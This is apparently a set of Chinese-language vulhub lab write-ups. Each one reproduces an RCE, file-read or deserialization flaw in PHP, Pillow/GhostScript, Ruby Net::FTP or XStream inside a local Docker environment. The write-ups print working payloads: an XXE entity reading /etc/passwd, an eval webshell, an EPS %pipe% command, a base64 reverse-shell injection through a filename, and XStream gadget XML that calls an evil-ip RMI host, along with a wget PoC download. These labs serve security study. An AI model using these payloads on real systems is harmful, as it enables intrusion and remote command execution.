2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!
可见,这里已经执行成功。
我们访问http://your-ip:8080/index.php?a=id
,即可查看到命令已成功执行:
注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id
时需要多访问几次,以访问到被污染的进程。
CVE-2024-2961
PHP利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)
GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()
函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。
如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()
的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。
参考链接:
漏洞环境
执行如下命令启动一个PHP 8.3.4服务器,其使用iconv 2.36作为依赖:
docker compose up -d
服务启动后,你可以通过http://your-ip:8080/index.php?file=/etc/passwd
这个链接读取/etc/passwd
文件。
漏洞复现
在使用原作者给出的exploit前,你需要准备一个Linux环境和Python 3.10解释器。
安装依赖:
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
然后从https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py下载POC并执行:
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
可见,我们已经成功写入shell.php
:
fpm
PHP-FPM Fastcgi 未授权访问漏洞
原理
详见https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html。
测试环境搭建
直接执行docker compose up -d
即可运行测试环境,环境监听9000端口。
EXP
Exp见 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
执行结果:
inclusion
PHP文件包含漏洞(利用phpinfo)
PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
参考链接:
漏洞环境
执行如下命令启动环境:
docker compose up -d
目标环境是官方最新版PHP7.2,说明该漏洞与PHP版本无关。
环境启动后,访问http://your-ip:8080/phpinfo.php
即可看到一个PHPINFO页面,访问http://your-ip:8080/lfi.php?file=/etc/passwd
,可见的确存在文件包含漏洞。
利用方法简述
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]
),文件名可以在$_FILES
变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES
变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
- 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
- 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
- php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
- 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
- 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
漏洞复现
利用脚本exp.py实现了上述过程,成功包含临时文件后,会执行<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>
,写入一个新的文件/tmp/g
,这个文件就会永久留在目标机器上。
用python2执行:python exp.py your-ip 8080 100
:
可见,执行到第289个数据包的时候就写入成功。然后,利用lfi.php,即可执行任意命令:
php_xxe
PHP环境 XML外部实体注入漏洞(XXE)
环境介绍:
- PHP 7.0.30
- libxml 2.8.0
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
使用如下命令编译并启动环境:
docker compose up -d
环境启动后,访问http://your-ip:8080/index.php
即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。
Web目录为./www
,其中包含4个文件:
$ tree .
.
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
dom.php
、SimpleXMLElement.php
、simplexml_load_string.php
均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
Simple XXE Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
输出:
更多高级利用方法,请自行探索。
xdebug-rce
XDebug 远程调试漏洞(代码执行)
XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1
:
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm
,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For
头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
更多说明可参考:
测试环境
编译及启动测试环境
docker compose build
docker compose up -d
启动完成后,访问http://your-ip:8080/
即可发现主页是一个简单的phpinfo,在其中可以找到xdebug的配置,可见开启了远程调试。
漏洞利用
因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞。
我编写了一个漏洞复现脚本,指定目标web地址、待执行的php代码即可:
# 要求用python3并安装requests库
python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'
**重要说明:因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。
phpmailer
CVE-2017-5223
PHPMailer 任意文件读取漏洞(CVE-2017-5223)
漏洞原理
PHPMailer在发送邮件的过程中,会在邮件内容中寻找图片标签(<img src="...">
),并将其src属性的值提取出来作为附件。所以,如果我们能控制部分邮件内容,可以利用<img src="/etc/passwd">
将文件/etc/passwd
作为附件读取出来,造成任意文件读取漏洞。
漏洞环境
在当前目录下创建文件.env
,内容如下(将其中的配置值修改成你的smtp服务器、账户、密码):
SMTP_SERVER=smtp.example.com
SMTP_PORT=587
SMTP_EMAIL=your_email@example.com
SMTP_PASSWORD=secret
SMTP_SECURE=tls
其中,SMTP_SECURE
是SMTP加密方式,可以填写none、ssl或tls。
然后编译、运行测试环境:
docker compose build
docker compose up -d
环境启动后,访问http://your-ip:8080/
,即可看到一个“意见反馈”页面。
漏洞复现
“意见反馈”页面,正常用户填写昵称、邮箱、意见提交,这些信息将被后端储存,同时后端会发送一封邮件提示用户意见填写完成:
该场景在实战中很常见,比如用户注册网站成功后,通常会收到一封包含自己昵称的通知邮件,那么,我们在昵称中插入恶意代码
<img src="/etc/passwd">
,目标服务器上的文件将以附件的形式被读取出来。
同样,我们填写恶意代码在“意见”的位置:
收到邮件,其中包含附件/etc/passwd
和/etc/hosts
:
下载读取即可。
phpunit
CVE-2017-9841
phpunit 远程代码执行漏洞(CVE-2017-9841)
composer是php包管理工具,使用composer安装扩展包将会在当前目录创建一个vendor文件夹,并将所有文件放在其中。通常这个目录需要放在web目录外,使用户不能直接访问。
phpunit是php中的单元测试工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
文件有如下代码:
eval('?>'.file_get_contents('php://input'));
如果该文件被用户直接访问到,将造成远程代码执行漏洞。
参考链接:
- http://web.archive.org/web/20170701212357/http://phpunit.vulnbusters.com/
- https://www.ovh.com/blog/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/
漏洞环境
执行如下命令启动一个php环境,其中phpunit被安装在web目录下。
docker compose build
docker compose up -d
web环境将启动在http://your-ip:8080
。
漏洞复现
直接将PHP代码作为POST Body发送给http://your-ip:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
:
python
PIL-CVE-2017-8291
Python PIL 远程命令执行漏洞(GhostButt )
Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。
漏洞详情:
漏洞简述
PIL内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个eps文件(头为%!PS
),则分发给PIL/EpsImagePlugin.py
处理。
在这个模块中,PIL调用了系统的gs命令,也就是GhostScript来处理图片文件:
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages,
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
]
# 省略判断是GhostScript是否安装的代码
try:
with open(os.devnull, 'w+b') as devnull:
subprocess.check_call(command, stdin=devnull, stdout=devnull)
im = Image.open(outfile)
虽然设置了-dSAFER
,也就是安全模式,但因为GhostScript的一个沙盒绕过漏洞(GhostButt CVE-2017-8291),导致这个安全模式被绕过,可以执行任意命令。
另外,截至目前,GhostScript官方最新版9.21仍然受到这个漏洞影响,所以可以说:只要操作系统上安装了GhostScript,我们的PIL就存在命令执行漏洞。
漏洞测试
运行环境:
docker compose up -d
运行后,访问http://your-ip:8000/
即可看到一个上传页面。正常功能是我们上传一个PNG文件,后端调用PIL加载图片,输出长宽。但我们可以将可执行命令EPS文件后缀改成PNG进行上传,因为后端是根据文件头来判断图片类型,所以无视后缀检查。
比如poc.png,我们上传之,即可执行touch /tmp/aaaaa
。将POC中的命令改为反弹命令,即可获得shell:
PIL-CVE-2018-16509
Python PIL/Pillow 远程命令执行漏洞 (CVE-2018-16509) 分析
Ghostscript 是一套基于 Adobe Systems PostScript 和 Portable Document Format (PDF) 页面描述语言的解释器软件。即使没有应用程序直接使用它,Ghostscript 仍然存在于生产服务器中(例如 /usr/local/bin/gs
或 /usr/bin/gs
),因为它作为其他软件(如 ImageMagick)的依赖项被安装。在 Ghostscript 中发现了一系列漏洞,其中一个是 CVE-2018-16509(由 Google Project Zero 的 Tavis Ormandy 发现),该漏洞允许在 Ghostscript v9.24 之前通过处理 PostScript 中的失败恢复(grestore)来绕过 -dSAFER,执行任意命令,从而禁用 LockSafetyParams 并避免 invalidaccess。此漏洞可以通过 ImageMagick 等库或具有 Ghostscript 包装器的编程语言的图像库(例如本文中的 PIL/Pillow)触发。
利用方法
你可以上传 rce.jpg(一个特制的 EPS 图像,不是真正的 JPG)以在服务器上执行 touch /tmp/got_rce
。要验证,可以执行 docker exec [CONTAINER_ID] ls -alt /tmp
。要获取 CONTAINER_ID
,你可以使用 docker container ls
检查。要更改命令,可以直接在 rce.jpg
中修改 touch /tmp/got_rce
。
分析
你可以参考 Tavis Ormandy 在 oss-security 上对漏洞的解释。
你可以在 EPSImagePlugin.py 中检查 PIL/Pillow 的 Ghostscript 包装器源代码。
这是 app.py
的漏洞代码:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
上传文件的内容将通过 img = Image.open(img_path)
加载。PIL 会自动检测图像是否为 EPS 图像(例如,在文件开头添加 %!PS-Adobe-3.0 EPSF-3.0
),并在 EPSImagePlugin.py
中调用 EpsImageFile
类中的 _open()
。为了避免 raise IOError("cannot determine EPS bounding box")
,需要在文件中添加一个边框框(例如:%%BoundingBox: -0 -0 100 100
)。
EPS 图像的主体将通过 subprocess
由 Ghostscript 二进制文件处理,如我们在 EPSImagePlugin.py
的 Ghostscript
函数中所见。
# 构建 Ghostscript 命令
command = ["gs",
"-q", # 安静模式
"-g%dx%d" % size, # 设置输出几何(像素)
"-r%fx%f" % res, # 设置输入 DPI(每英寸点数)
"-dBATCH", # 处理后退出
"-dNOPAUSE", # 页面之间不暂停
"-dSAFER", # 安全模式
"-sDEVICE=ppmraw", # ppm 驱动程序
"-sOutputFile=%s" % outfile, # 输出文件
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# 调整图像起点
"-f", infile, # 输入文件
"-c", "showpage", # 显示页面(参见:https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
上述代码在 Image.py 中的 load
被调用时执行,因此仅打开图像不会触发漏洞。诸如 resize
、crop
、rotate
和 save
之类的函数将调用 load
并触发漏洞。
结合 Tavis Ormandy 的 POC,我们可以制作用于远程命令执行的 rce.jpg
。
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
unpickle
Python unpickle 造成任意命令执行漏洞
原理
参考文章:
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
测试
编译及运行测试环境:
docker compose build
docker compose up -d
访问http://your-ip:8000
,显示Hello {username}!
。username是取Cookie变量user,对其进行base64解码+反序列化后还原的对象中的“username”变量,默认为“Guest”,伪代码:pickle_decode(base64_decode(cookie['user']))['username'] or 'Guest'
。
调用exp.py,反弹shell:
ruby
CVE-2017-17405
Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)
Ruby Net::FTP 模块在Ruby中用于处理和FTP协议相关的功能。
Ruby 2.4.3版本前,Net::FTP 模块在上传和下载文件时使用了open
函数。而open
函数借用系统命令来打开文件,且未过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。
参考链接:
漏洞环境
执行如下命令使用Ruby 2.4.1启动一个Web服务:
docker compose up -d
环境启动后,访问http://your-ip:8080/
将可以看到一个HTTP服务。这个HTTP服务的作用是,我们访问http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt
,它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地,并将内容返回给用户。
漏洞复现
因为这是一个FTP客户端的漏洞,所以我们需要先运行一个可以被访问到的服务端。比如使用python的pyftpdlib:
# 安装pyftpdlib
pip install pyftpdlib
# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:2121`端口
python3 -m pyftpdlib -p 2121 -i 0.0.0.0
然后,将刚才启动的FTP服务器地址作为uri参数,|touch${IFS}success.txt
作为file参数,替换进下面的请求发送:
GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
然后进入docker容器内,可见success.txt已被创建:
执行反弹shell的命令|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'
,成功反弹:
**
xstream
CVE-2021-21351
XStream 反序列化命令执行漏洞(CVE-2021-21351)
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.15 及之前版本黑名单存在缺陷,攻击者可利用javax.naming.ldap.Rdn$RdnEntry
及javax.sql.rowset.BaseRowSet
构造JNDI注入,进而执行任意命令。
参考链接:
- https://x-stream.github.io/CVE-2021-21351.html
- https://paper.seebug.org/1543/
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://github.com/welk1n/JNDI-Injection-Exploit/
漏洞环境
执行如下命令启动一个Springboot + XStream 1.4.15的环境:
docker compose up -d
环境启动后,我们向http://your-ip:8080
发送一个正常的XML数据包,将会得到预期返回:
漏洞复现
由于目标环境Java版本高于8u191,故我们需要借助这篇文章中给出的方法,使用org.apache.naming.factory.BeanFactory
加EL表达式注入的方式来执行任意命令。
使用这个工具启动恶意JNDI服务器:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.1.142
使用上图中基于SpringBoot利用链的RMI地址作为<dataSource>
的值,构造POC如下:
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3184
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://evil-ip:1099/example</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
其中,evil-ip是恶意RMI服务器的地址。然后,进入目标容器内,可见touch /tmp/success
已成功执行:
在实战中,如果目标Java版本较低,POC需要做修改,将其中的<__overrideDefaultParser>false</__overrideDefaultParser>
改成<__useServicesMechanism>false</__useServicesMechanism>
即可。
CVE-2021-29505
XStream 反序列化命令执行漏洞(CVE-2021-29505)
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub
构造RMI请求,进而执行任意命令。
参考链接:
漏洞环境
执行如下命令启动一个Springboot + XStream 1.4.16的环境:
docker compose up -d
环境启动后,我们向http://your-ip:8080
发送一个正常的XML数据包,将会得到预期返回:
漏洞复现
作为攻击者,我们在自己的服务器上使用ysoserial的JRMPListener启动一个恶意的RMI Registry:
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success"
这个RMI Registry在收到请求后,会返回用CommonsCollections6利用链构造的恶意序列化对象。
然后,我们向目标服务器发送CVE-2021-29505的XML POC:
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3169
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>evil-ip</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>evil-ip</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
其中,evil-ip是恶意RMI服务器的地址。恶意RMI服务器收到RMI请求:
进入目标容器内,可见touch /tmp/success
已成功执行:
值得注意的是,我们没有直接使用官网给出的POC,那个POC是错的。